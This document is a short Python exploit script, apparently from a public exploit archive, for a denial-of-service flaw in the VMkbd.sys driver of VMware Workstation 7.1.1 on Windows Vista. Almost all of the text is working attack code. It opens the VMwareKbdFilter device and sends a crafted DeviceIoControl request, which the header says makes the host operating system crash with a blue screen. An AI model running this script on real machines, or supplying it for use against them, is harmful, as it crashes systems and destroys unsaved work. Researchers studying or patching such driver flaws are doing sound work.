VMware Workstation 7.1.1 - VMkbd.sys Denial of Service

#!/usr/bin/python

#################################################################
#
# Title: VMware Workstation <= 7.1.1 VMkbd.sys Denial of Service Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.vmware.com
# Platform: Windows Vista
# Tested: VMware Workstation v7.1.1 build-282343
# Vulnerable: VMware Workstation <= 7.1.1 build-282343
# Vendor: http://www.vmware.com/
# Test: Run this Script on host OS will make host OS BSoD
#
#################################################################

from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == '__main__':
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2
    DEVICE_NAME   = "\\\\.\\VMwareKbdFilter"

    dwReturn      = c_ulong()
    out_size      = 1024
    in_size       = 1024
    in_data       =''
    out_data      =''
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
						0, None, CREATE_ALWAYS, 0, None)

    dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0xb204c, in_data,0, out_data, 0,byref(dwReturn), None)